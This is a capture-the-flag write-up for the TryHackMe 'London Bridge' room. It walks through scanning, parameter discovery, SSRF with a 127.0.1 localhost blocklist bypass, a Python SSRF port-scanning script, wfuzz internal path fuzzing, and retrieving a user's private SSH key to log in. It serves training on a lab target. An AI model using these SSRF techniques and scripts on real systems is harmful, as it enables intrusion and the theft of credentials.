# The London Bridge

{% embed url="<https://tryhackme.com/r/room/thelondonbridge>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FUY4cMxPmQvurUJvFK7lb%2Fimage.png?alt=media&#x26;token=c99dbcac-cdcc-465b-8ffd-2cd3fac6464a" alt="" data-size="line"><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FSznbBRdyt8wY71fXA2mM%2Fimage.png?alt=media&#x26;token=71248350-0b93-4df1-af98-d491ab7e6e4a" alt="" data-size="line">

**`Machine IP`**: 10.10.139.115

**`Hosts file entry`**: echo '10.10.139.115 london.thm' | sudo tee -a /etc/hosts

**`Nmap Scan`**:&#x20;

```bash
nmap -p- -A -v --min-rate 100 -oN londonbridge_thm -Pn london.thm

Nmap scan report for london.thm (10.10.139.115)
Host is up (0.15s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:c1:e4:79:ca:70:bc:3b:8d:b8:22:17:2f:62:1a:34 (RSA)
|   256 2a:b4:1f:2c:72:35:7a:c3:7a:5c:7d:47:d6:d0:73:c8 (ECDSA)
|_  256 1c:7e:d2:c9:dd:c2:e4:ac:11:7e:45:6a:2f:44:af:0f (ED25519)
8080/tcp open  http-proxy gunicorn
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: gunicorn
|_http-title: Explore London
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 28 Sep 2024 07:39:33 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2682
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Explore London</title>
|     <style>
|     body {
|     font-family: Arial, sans-serif;
|     margin: 0;
|     padding: 0;
|     background-color: #f2f2f2;
|     header {
|     background-color: #333;
|     color: #fff;
|     padding: 10px 20px;
|     text-align: center;
|     background-color: #444;
|     color: #fff;
|     padding: 10px 20px;
|     text-align: center;
|     color: #fff;
|     text-decoration: none;
|     margin: 0 10p
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 28 Sep 2024 07:39:34 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, OPTIONS, HEAD
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=9/28%Time=66F7B2B6%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,B15,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:
SF:\x20Sat,\x2028\x20Sep\x202024\x2007:39:33\x20GMT\r\nConnection:\x20clos
SF:e\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:02682\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n\x20\x2
SF:0\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=\"v
SF:iewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n\x
SF:20\x20\x20\x20<title>Explore\x20London</title>\n\x20\x20\x20\x20<style>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20font-family:\x20Arial,\x20sans-serif;\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20background-color:\x20#f2f2f2;\n\x20\x20\x20\x20\
SF:x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20header\x20{\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#333;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#fff;\n\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2010px\x2020px;\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20center;\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20nav\x20{
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20
SF:#444;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#fff;\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2010px\x2020
SF:px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20cen
SF:ter;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20nav\x20a\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:
SF:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-decorat
SF:ion:\x20none;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\
SF:x200\x2010p")%r(HTTPOptions,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gu
SF:nicorn\r\nDate:\x20Sat,\x2028\x20Sep\x202024\x2007:39:34\x20GMT\r\nConn
SF:ection:\x20close\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAll
SF:ow:\x20GET,\x20OPTIONS,\x20HEAD\r\nContent-Length:\x200\r\n\r\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=9/28%OT=22%CT=1%CU=43300%PV=Y%DS=2%DC=T%G=Y%TM=66F7
OS:B347%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508
OS:ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)
OS:ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Uptime guess: 17.234 days (since Wed Sep 11 07:34:34 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   146.14 ms 10.11.0.1
2   146.68 ms london.thm (10.10.139.115)
```

The scan results show that we have two ports open, that is port **`22`** & **`8080`** .&#x20;

### Enumeration

**`Checking out port 8080`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FMq0jh3ewi3oIJkFT0x6O%2Fimage.png?alt=media&#x26;token=50278d2c-36cc-459e-83e2-a88e70709891" alt=""><figcaption></figcaption></figure></div>

From the **`source code`** of the page, we can see that the only functioning options containing links are **`Gallery`** & **`Contact`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FYJm2svUeUWvgLygeWymj%2Fimage.png?alt=media&#x26;token=c4d7d8a6-ae7b-463e-9175-c057657b92eb" alt="" width="364"><figcaption></figcaption></figure></div>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FwF492Zv6pfnQxJcA0ovF%2Fimage.png?alt=media&#x26;token=c8da0716-24ef-4934-8ffa-41774340b1f5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FUHlranWqN9Ztc02VQrLQ%2Fimage.png?alt=media&#x26;token=ddc86481-9eb4-4d4a-81d6-abb7995d5c8e" alt=""><figcaption></figcaption></figure>

We can now test for **`XSS`** in the **`Contact Us`** form:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F3HOjXlE5oe2ZJ4mPpsuR%2Fimage.png?alt=media&#x26;token=9f39606b-c74c-48ec-bda3-d2b6dc2d0335" alt="" width="563"><figcaption></figcaption></figure></div>

Now let's set up a **`netcat`** listener on port **`80`**. If the above payload works after clicking on `Submit` we should be getting a connection back on our listener which shows that the server has reached out to our machine. The **`IP`** specified in the payload is the **`tun0`** interface **`IP`**.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FIlL3w22WqgCs0zB42D1L%2Fimage.png?alt=media&#x26;token=c4587aef-dfde-4d09-9ac3-bfabc9035373" alt=""><figcaption></figcaption></figure>

But unfortunately, we don't get any connection on the listener.

We can now check out the **`Upload`** option that we have on the **`Gallery`** page by uploading an image:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FWMeDVlLFMQz3djtiLW7u%2Fimage.png?alt=media&#x26;token=01659d27-f1ac-4de5-b05e-a1a50797b29c" alt="" width="374"><figcaption></figcaption></figure></div>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F6HEvxYcODLZPcody1yxR%2Fimage.png?alt=media&#x26;token=44c5b26e-1feb-4e9c-9073-d4600912719e" alt=""><figcaption></figcaption></figure>

![](https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FCfQErXvxZXmWKbyUVa71%2Fimage.png?alt=media\&token=955a1930-db31-491a-b648-88cdc3c3425c)

As we can see the image gets uploaded successfully within the **`/uploads`** path.  The source code of the **`/gallery`** page shows the same and we also have this note:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fw2bEvsNir675i0isrLzj%2Fimage.png?alt=media&#x26;token=764885da-3957-4975-9ae6-c379ad53a4d5" alt=""><figcaption></figcaption></figure>

&#x20;Let us try to put some other file format for example a **`PHP`** file to see how the feature reacts:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FX8TXjp7bl9Vb3NBojcZ3%2Fimage.png?alt=media&#x26;token=8de98bf5-89c5-4897-bfbb-7ed04d807e08" alt="" width="335"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FUpg3gLbQVmb5OhJ1TVqo%2Fimage.png?alt=media&#x26;token=4d1fd77b-6685-4037-b86a-8916b27a8aa4" alt="" width="405"><figcaption></figcaption></figure></div>

Based on the response, we cannot upload any file that isn't an **`image`**.  I will be directly jumping to the point that none of the file upload bypasses had worked here and there was no good information from any of the already present images metadata. This wasn't the correct path to go further into solving the room.

We can now do some **`directory busting`**.

**`Directory Busting`**:

**`Command`**:

```bash
dirsearch -u http://london.thm:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FVZJG4LiAMmyAJnwRYVES%2Fimage.png?alt=media&#x26;token=fe5a9483-fc10-49e8-8ff4-0d766e4ec66a" alt=""><figcaption></figcaption></figure>

There is a path named **`/dejaview`**. We can check this out:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FrRzmhcJi9nD3Ibrkb9Dl%2Fimage.png?alt=media&#x26;token=1683571f-f373-4adb-9500-19034b9f1b92" alt=""><figcaption></figcaption></figure>

We have a box where we could enter an **`image URL`** and then it would show us the image. Trying out the same with our previously uploaded **`car.jpeg`** image (**`http://london.thm:8080/uploads/car.jpeg`**):

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FKWfxvZnqWDvGUkGTyavN%2Fimage.png?alt=media&#x26;token=17cd35a7-5daf-418c-8ff5-c2640697f7f1" alt="" width="197"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FndRO9sLsU1oIT77MS064%2Fimage.png?alt=media&#x26;token=f1e3645e-8ba8-4335-a190-b65a9cf74985" alt="" width="332"><figcaption></figcaption></figure></div>

And it gives us the image. But the note in the **`Gallery`** page's source code said we could add images using links which is not the case here. So that likely means that the devs might not have implemented this feature yet.

But we have a box wherein we can enter a **`URL`**. The first thing that comes to mind is **`SSRF`** (**`Server-Side Request Forgery`**).

### Exploitation

Intercepting the **`View Image`** request in **`Burp`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FZmEhZhzQyRXaoT2oNCns%2Fimage.png?alt=media&#x26;token=a84f9d1b-97d7-4320-b94a-ae95c7b407b9" alt=""><figcaption></figcaption></figure>

There is a **`parameter`** named **`image_url`**. We can test for **`SSRF`** here by seeing if the server is reaching out to our **`attacker machine`** (The same setup that we had done before while testing for **`XSS`** applies here too).

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fzf23bBoEE7x7ATs2cYDD%2Fimage.png?alt=media&#x26;token=cea6e564-65da-4c4a-a9c9-93fe317a1ec7" alt=""><figcaption></figcaption></figure>

The value is **`URL encoded`**. But we don't get any hit on the listener on port **`80`**. This is where the **`Hint`** given to us for the room comes in handy.

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FP5QZLB4DbRPdkQKyYS2f%2Fimage.png?alt=media&#x26;token=e378d798-e297-4330-8657-211194246a4f" alt="" width="423"><figcaption></figcaption></figure></div>

It tells us to check for **`other parameters`** apart from the one that we already know, that being - **`image_url`**.

To find **`parameters`** we can make use of a tool called **`Arjun`** and the same can be done using tools like **`wfuzz`**, **`ffuf`** etc.&#x20;

**`Using wfuzz`**:

Firstly we have to fetch a **`wordlist`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F9AQDASob2hHUuq12wCP1%2Fimage.png?alt=media&#x26;token=326fe3d3-e670-4228-96be-bb62b470f082" alt="" width="449"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FoTVUkBSfNZV8GwFjGfQI%2Fimage.png?alt=media&#x26;token=549877df-fcf8-484d-b258-c081c81d0430" alt="" width="518"><figcaption></figcaption></figure></div>

{% embed url="<https://github.com/maverickNerd/wordlists>" %}

{% embed url="<https://github.com/maverickNerd/wordlists/blob/master/params.txt>" %}
Wordlist
{% endembed %}

Save this to a file called **`params.txt`** or just clone the repo.

**`Command`**:

```bash
wfuzz -c -z file,params.txt --hc 404 --hl 32 -d "FUZZ=value" http://london.thm:8080/view_image
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FfQAjIgNOwaYCk6g39IPH%2Fimage.png?alt=media&#x26;token=d810131c-cf97-48e2-96c7-d65f4bdd5d8d" alt=""><figcaption></figcaption></figure>

**`Using Arjun`**:

{% embed url="<https://github.com/s0md3v/Arjun>" %}
Arjun
{% endembed %}

**`Command`**:

```bash
arjun -u http://london.thm:8080/view_image -m POST
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FUu1xJO6XtphHghgfH3x7%2Fimage%20(23).png?alt=media&#x26;token=cd1cd063-747f-4ed3-82dd-8661062539c3" alt=""><figcaption></figcaption></figure>

We have found another **`parameter`** named - **`www`**.

Let us now try **`SSRF`** by using this newly found **`parameter`** in the request:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FNsSXApUddMt48VoB1daQ%2Fimage.png?alt=media&#x26;token=fd606f39-a1ea-46bd-9b01-1d0e1be9b489" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FOVtKxsGnb4uTXXAI5wMi%2Fimage.png?alt=media&#x26;token=dfff96e4-d24a-44fc-a622-1ea3d45e8e1a" alt=""><figcaption></figcaption></figure>

And the server reached out to us. We now have a **`successful SSRF`**.

Let us try connecting to the **`localhost`** of the target machine now:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F50KQBncuHMgHaVQa5iSO%2Fimage.png?alt=media&#x26;token=1f36938f-b4f8-4fab-b186-dd176328660c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FcyzArPzfJpeUCSzyKEG5%2Fimage.png?alt=media&#x26;token=86fe9e14-171d-4461-b046-7a60789d0476" alt=""><figcaption></figcaption></figure>

But it gives us a **`403 Forbidden`** error. Upon replacing **`127.0.0.1`** with **`localhost`** too we end up getting the same response. This likely means that there is something on the target machine preventing us from using the **`traditional methods`** to connect to the localhost via ways like using: **`127.0.0.1`**, **`localhost`** etc.

Let us now try **`127.0.1`**. This is one of the many **`block list bypass`** techniques that can be used to connect to **`localhost`**.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FDxEmSU9qEwzu2ybZZZDr%2Fimage.png?alt=media&#x26;token=14c9c8bc-bc41-41eb-911c-65c4e1bab5be" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FeMVwzdjIH3vPfk5DLEB8%2Fimage.png?alt=media&#x26;token=29c02bcb-12f6-46cf-b8dd-553d8652c1bb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F6xA1USB3bqbR0Hf8gs07%2Fimage.png?alt=media&#x26;token=0c2f0bb2-dac2-4ca7-b070-89680a63c6f7" alt=""><figcaption></figcaption></figure>

And it worked. This means port **`80`** is **`open`**. This: **`http://127.0.1`**, is the same as doing a **`http://127.0.1:80`**.

For the sake of the writeup let us go ahead and ignore the information that we now know about port **`80`** being **`open`**. Assume it wasn't **`80`** and if we had to find out other **`internally open ports`**. The below section explains how this can be achieved through a **`Python script`** and also via **`wfuzz`**.

**`SSRF Port Scanning Python script`**:

```python
import requests
from termcolor import colored

def parse_ports(port_input):

    ports = set()  
    for part in port_input.split():
        if '-' in part:  
            start, end = map(int, part.split('-'))
            ports.update(range(start, end + 1))  
        else:
            ports.add(int(part))  
    return sorted(ports)  

def SSRF_TEST(url, param_name, param_value_template, port_list):
    for port in port_list:
        
        formatted_data = {param_name: param_value_template.replace("[port]", str(port))}  # Replace placeholder with port
        try:
            
            result = requests.post(url, data=formatted_data, timeout=1)
            
            if result.status_code == 200:
                print(colored('[*]', 'green'), "port %s" % port, colored("open", "green"))
            else:
                print(colored('[!]', 'red'), "port %s" % port, colored("closed", "red"))
        except requests.RequestException:
            print(colored('[!]', 'red'), "port %s" % port, colored("could not be reached", "yellow"))

if __name__ == "__main__":
    
    url = input("Enter the URL: ")
    param_name = input("Enter the parameter name: ")
    param_value_template = input("Enter the value for the parameter (use [port] as a placeholder for the port): ")
    
    
    port_input = input("Enter the list of ports or ranges, separated by spaces: ")
    port_list = parse_ports(port_input)

    
    SSRF_TEST(url, param_name, param_value_template, port_list)

```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fp0DJWGNmzK0vdtHYrI9l%2Fimage.png?alt=media&#x26;token=90d4239e-29a2-414e-a06d-0a870998b991" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F2YGfHrBKYJW9sXKaTVdV%2Fimage.png?alt=media&#x26;token=5b07b3fe-9370-4950-bf74-e3655b7e57d5" alt="" width="172"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FU4AscVFutwb1OIMsmilk%2Fimage.png?alt=media&#x26;token=65154f57-8f1e-4d1d-8d21-18ae80d18012" alt="" width="173"><figcaption></figcaption></figure></div>

The ports can also be specified in this manner: **`80 85 8080-8085`**.&#x20;

But anyways we now know that ports such as **`80`**, **`8080`**, etc. are open. The 8080 is nothing but the **`web server`** itself that we are able to access **`externally`**.

**`Using wfuzz`**:

We need to first create a **`wordlist`** containing a few of the most **`common ports`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FG1VX6PxK0Rlil8PTUuSR%2Fimage.png?alt=media&#x26;token=75bf8a7f-0860-4778-b4b3-c7eb651e67ae" alt=""><figcaption></figcaption></figure>

**`Command`**:

```bash
wfuzz -c -z file,common_ports --hc 403,404 -d "www=http://127.0.1:FUZZ" http://london.thm:8080/view_image
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FxEDo0Nh98Lciu75xNqvu%2Fimage.png?alt=media&#x26;token=9a0b67ba-e424-418a-bc64-398eb86c4358" alt=""><figcaption></figcaption></figure>

Now that we've confirmed port **`80`** is **`open`** and serving content, we can proceed to explore potential **`directories`** that may be accessible within it.

### Foothold

**`Using wfuzz`**:

Firstly we have to fetch a **`wordlist`** that contains **`directory paths`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FK9LJnkksVFTYBLAiIGE0%2Fimage.png?alt=media&#x26;token=e6f9a74b-7662-40fc-8681-239621474c2a" alt="" width="339"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Ff7P5Tlt2pYBM2R0aIVoZ%2Fimage.png?alt=media&#x26;token=6c4279b7-2f62-4d9a-95dc-91d268e507ce" alt="" width="554"><figcaption></figcaption></figure></div>

{% embed url="<https://github.com/Twibow/Pentest-WordLists/blob/master/directory_wordlist.txt>" %}
Wordlist
{% endembed %}

A few entries:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FnrxK2q8NIMiJHFmfA26l%2Fimage%20(24).png?alt=media&#x26;token=a01b657a-a577-430f-9cdb-eab9e4e148c9" alt="" width="563"><figcaption></figcaption></figure></div>

**`Command`**:

```bash
wfuzz -z file,dir_wordlist -d "www=http://127.0.1/FUZZ" --hc 404 --hl 14 http://london.thm:8080/view_image
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FqsP4bAPtgriO9ICDUrRH%2Fimage.png?alt=media&#x26;token=38763b7a-c30a-4afd-8ad7-2c52e4cd46f4" alt=""><figcaption></figcaption></figure>

We get a good amount of **`valid hits`**, **`.ssh`** being the most interesting. Let us check it out:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FaVV9v14rOJuPhKuGjLI4%2Fimage.png?alt=media&#x26;token=a7477483-2b00-4f05-a184-8b174e44eb04" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FdSqtDmzDTI31MkVzIXln%2Fimage.png?alt=media&#x26;token=089f71a3-deca-436e-b50e-86702ec57651" alt=""><figcaption></figcaption></figure>

The private (**`id_rsa`**) and the public key (**`authorized_keys`**) is present within the **`.ssh`** directory.

We can now read the contents of it:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FCXU8rh2JQDGSfNPX27FS%2Fimage.png?alt=media&#x26;token=2de4068d-d3a1-4c8c-b03a-f12eb8fe98aa" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FlaUFT2wqUGsMa3T0RNVO%2Fimage.png?alt=media&#x26;token=35d267cf-6a41-402c-a320-b8c9d391e7fc" alt=""><figcaption></figcaption></figure>

The public key shows that the private key possibly belongs to a user named **`beth`**.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FR7nYXhqSjXGgs84kgpGF%2Fimage.png?alt=media&#x26;token=3b668743-d55e-4372-ba59-49cc37c20f6c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F4HYMFymiK9BLN6InowRX%2Fimage.png?alt=media&#x26;token=ab1a4429-cad1-440e-b64b-1f686831edca" alt=""><figcaption></figcaption></figure>

Now we can possibly **`SSH`** in as beth, post putting the private key to a file on our **`attacker machine`**.

**`Command`**:

```bash
chmod 400 id_rsa_beth && ssh beth@london.thm -i id_rsa_beth
```

